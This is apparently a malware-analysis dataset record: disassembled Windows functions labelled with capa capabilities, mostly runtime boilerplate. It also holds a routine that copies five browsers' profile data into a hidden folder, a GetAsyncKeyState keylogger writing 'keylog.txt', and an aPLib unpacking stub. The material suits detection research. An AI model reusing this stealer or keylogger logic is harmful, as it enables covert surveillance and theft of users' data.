joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400016d0
Capabilities:
Create directory
Query environment variable

Disassembly:
push rbp
sub rsp, 0xd60
lea rbp, [rsp + 0x80]
call sym.__main
call sym.hideConsoleWindow
mov ecx, 0
call sym.time
mov qword [rbp + 0xcc0], rax
lea rax, [rbp + 0xcc0]
mov rcx, rax
call sym.localtime
mov qword [rbp + 0xcd0], rax
mov rdx, qword [rbp + 0xcd0]
lea rax, [rbp + 0xc50]
mov r9, rdx
lea r8, str._Y__m__d__H__M__S
mov edx, 0x63
mov rcx, rax
call sym.strftime
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0xc50]
mov qword [rsp + 0x20], rdx
lea r9, [0x14000b03a]
lea r8, str.._ssomething_new__s
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x850]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__mkdir]
call rax
test eax, eax
je 0x140001794
lea rax, str._____
mov rcx, rax
call sym.perror
mov eax, 1
jmp 0x140001954
lea rax, str.USERPROFILE
mov rcx, rax
call sym.getenv
mov qword [rbp + 0xcc8], rax
cmp qword [rbp + 0xcc8], 0
jne 0x1400017cd
lea rax, str.____._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001954
lea rax, str.Firefox
mov qword [rbp + 0x820], rax
lea rax, str.Edge
mov qword [rbp + 0x828], rax
lea rax, str.Opera
mov qword [rbp + 0x830], rax
lea rax, str.Chrome
mov qword [rbp + 0x838], rax
lea rax, str.Yandex
mov qword [rbp + 0x840], rax
lea rax, str.AppDataRoamingMozillaFirefoxProfiles
mov qword [rbp + 0x7f0], rax
lea rax, str.AppDataLocalMicrosoftEdgeUser_Data
mov qword [rbp + 0x7f8], rax
lea rax, str.AppDataRoamingOpera_SoftwareOpera_Stable
mov qword [rbp + 0x800], rax
lea rax, str.AppDataLocalGoogleChromeUser_Data
mov qword [rbp + 0x808], rax
lea rax, str.AppDataLocalYandexYandexBrowserUser_Data
mov qword [rbp + 0x810], rax
mov dword [rbp + 0xcdc], 0
jmp 0x140001942
mov eax, dword [rbp + 0xcdc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x7f0]
mov rcx, qword [rbp + 0xcc8]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x400
mov rcx, rax
call sym.snprintf
mov eax, dword [rbp + 0xcdc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x820]
lea r8, [rbp + 0x850]
lea rax, [rbp + 0x3f0]
lea rcx, [rbp + 0xc50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
lea rdx, [0x14000b03a]
mov qword [rsp + 0x20], rdx
mov r9, r8
lea r8, str._s_s_sData__s
mov edx, 0x400
mov rcx, rax
call sym.snprintf
pxor xmm0, xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.stat
test eax, eax
jne 0x14000193b
lea rax, [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__mkdir]
call rax
lea rdx, [rbp + 0x3f0]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.copyDirectory
add dword [rbp + 0xcdc], 1
cmp dword [rbp + 0xcdc], 4
jle 0x140001868
mov eax, 0
add rsp, 0xd60
pop rbp
ret
Function at 0x140001c90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001d00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f0b4]
mov rbx, rcx
test esi, esi
jle 0x140001e30
mov rax, qword [0x14000f0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001d4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001dd5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001d30
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001e52
mov rax, qword [0x14000f0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001e37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001dce
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001de0
add dword [0x14000f0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001dce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001d58
mov rax, qword [0x14000f0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002500
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp edx, 2
je 0x140002630
ja 0x140002548
test edx, edx
je 0x1400025c8
mov eax, dword [0x14000f108]
test eax, eax
je 0x1400026b0
mov dword [0x14000f108], 1
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp edx, 3
jne 0x140002535
mov eax, dword [0x14000f108]
test eax, eax
je 0x140002535
lea r12, [0x14000f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x1400025b4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400026d8
test eax, eax
jne 0x1400026d8
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002588
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140002535
mov eax, dword [0x14000f108]
test eax, eax
jne 0x140002648
mov eax, dword [0x14000f108]
cmp eax, 1
jne 0x140002535
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x140002601
nop dword [rax]
mov rcx, rbx
mov rbx, qword [rbx + 0x10]
call sym.free
test rbx, rbx
jne 0x1400025f0
lea rcx, [0x14000f120]
mov qword [0x14000f100], 0
mov dword [0x14000f108], 0
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x140002535
call sym._fpreset
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea r12, [0x14000f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x14000269c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400026c8
test rsi, rsi
je 0x1400026c8
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002678
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1400025d2
lea rcx, [0x14000f120]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x14000252b
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002678
jmp 0x14000269c
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002588
jmp 0x1400025b4

Function at 0x1400026f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002708
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002710
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002720
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000276d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002764
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000276f
add rax, 0x28
cmp rax, r9
jne 0x140002750
xor eax, eax
ret
Function at 0x140002770
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002800
mov rdx, qword [0x14000b940]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400027ee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400027ee
cmp word [rax + 0x18], 0x20b
jne 0x1400027ee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002800
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400027d9
add rbx, 0x28
cmp rbx, rdi
je 0x140002800
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400027d0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002810
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r8, qword [0x14000b940]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002830
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002838
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002830
movzx eax, word [rdx + 0x14]
sub rcx, r8
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002885
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000287c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002830
add rax, 0x28
cmp rax, r9
jne 0x140002868
xor eax, eax
ret

Function at 0x140002890
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b940]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400028af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400028b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400028af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400028d0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000b940]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400028f0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400028f8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400028f0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002940
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002937
test rcx, rcx
je 0x1400028f0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002928
xor eax, eax
ret

Function at 0x140002950
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b940]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000296f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002978
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002990
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000b940]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029b0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400029b0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002a04
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002a10
add rdx, 0x28
cmp r9, rdx
jne 0x1400029f0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002a20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000b940]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x140002a44
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
cmp dword [rcx], 0x4550
je 0x140002a50
mov rax, r9
ret
cmp word [rcx + 0x18], 0x20b
jne 0x140002a44
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002a44
movzx edx, word [rcx + 0x14]
movzx r10d, word [rcx + 6]
lea rdx, [rcx + rdx + 0x18]
test r10w, r10w
je 0x140002a44
lea ecx, [r10 - 1]
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x140002a9c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002ab0
add rdx, 0x28
cmp rdx, r10
jne 0x140002a88
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002ac0
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x140002ace
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002aa5
test r8d, r8d
jg 0x140002ab8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140964058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1409641df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140964089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14096406f
add dl, dl
jne 0x140964096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409640f6
xor eax, eax
add dl, dl
jne 0x1409640a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409641ad
add dl, dl
jne 0x1409640b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409640c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409640d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409640dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409640ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14096407e
mov eax, 1
add dl, dl
jne 0x140964106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140964113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409640fb
sub eax, ebx
mov ebx, 1
jne 0x14096414c
mov ecx, 1
add dl, dl
jne 0x14096412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14096413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140964123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140964168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140964175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14096415d
cmp eax, 0x7d00
jae 0x14096419b
cmp eax, 0x500
jb 0x140964196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096407e
cmp eax, 0x7f
ja 0x14096419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409641d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14096407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400110e1
Capabilities:
Write file on windows

Disassembly:
jmp 0x140019e60
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140019eab
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140019fb7
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x140019f50
cmp qword [rbp + 0x28], 0
jle 0x140019f50
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140019ef0
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.14001179e
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140019fa6
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140019fa6
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14001148d
Capabilities:
Terminate process

Disassembly:
jmp 0x14001c940
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011596
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14001a020
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov edx, 1
lea rcx, [rbp + 0x10]
call fcn.14001169f
nop
mov r9d, 0x40
mov r8d, 0xa
lea rdx, str.keylog.txt
lea rcx, [rbp + 0x10]
call fcn.140011190
xor eax, eax
cmp eax, 1
je 0x14001a0d0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x134], 8
jmp 0x14001a095
movzx eax, byte [rbp + 0x134]
inc al
mov byte [rbp + 0x134], al
movsx eax, byte [rbp + 0x134]
cmp eax, 0xff
jg 0x14001a0ce
movsx eax, byte [rbp + 0x134]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001a0cc
movzx edx, byte [rbp + 0x134]
lea rcx, [rbp + 0x10]
call fcn.140011631
jmp 0x14001a086
jmp 0x14001a06b
lea rcx, [rbp + 0x10]
call fcn.14001142e
mov dword [rbp + 0x214], 0
lea rcx, [rbp + 0x10]
call fcn.14001120d
mov eax, dword [rbp + 0x214]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140024f10]
call fcn.1400116c7
mov eax, edi
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret

Function at 0x1400115b4
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001d470
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001d490
xor al, al
jmp 0x14001d511
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001d4a3
xor al, al
jmp 0x14001d511
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001d4cd
xor al, al
jmp 0x14001d511
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001d4e1
xor al, al
jmp 0x14001d511
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001d4f3
xor al, al
jmp 0x14001d511
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001d50f
xor al, al
jmp 0x14001d511
mov al, 1
add rsp, 0x38
ret
Function at 0x1400117fd
Capabilities:
Write file on windows

Disassembly:
jmp 0x140016a20
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x14002a040]
xor rax, rbp
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x1a0]
cmp qword [rax + 0x68], 0
je 0x140016a7a
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140016a81
mov al, 1
jmp 0x140016bf1
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x158], rax
call fcn.14001124e
mov dword [rbp + 0x160], eax
mov edx, dword [rbp + 0x160]
mov rcx, qword [rbp + 0x1a0]
call qword [rbp + 0x158]
mov dword [rbp + 0x164], eax
call fcn.14001124e
mov dword [rbp + 0x168], eax
mov edx, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x168]
call fcn.140011677
movzx eax, al
test eax, eax
je 0x140016ae4
xor al, al
jmp 0x140016bf1
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1a0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x160], eax
cmp dword [rbp + 0x160], 0
je 0x140016b57
cmp dword [rbp + 0x160], 1
je 0x140016b62
cmp dword [rbp + 0x160], 3
je 0x140016be0
jmp 0x140016bef
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140016bb2
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140016bb2
xor al, al
jmp 0x140016bf1
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140016bcd
mov dword [rbp + 0x154], 1
jmp 0x140016bd7
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x140016bf1
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140016bf1
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400255f0]
call fcn.1400116c7
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.1400113e3
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret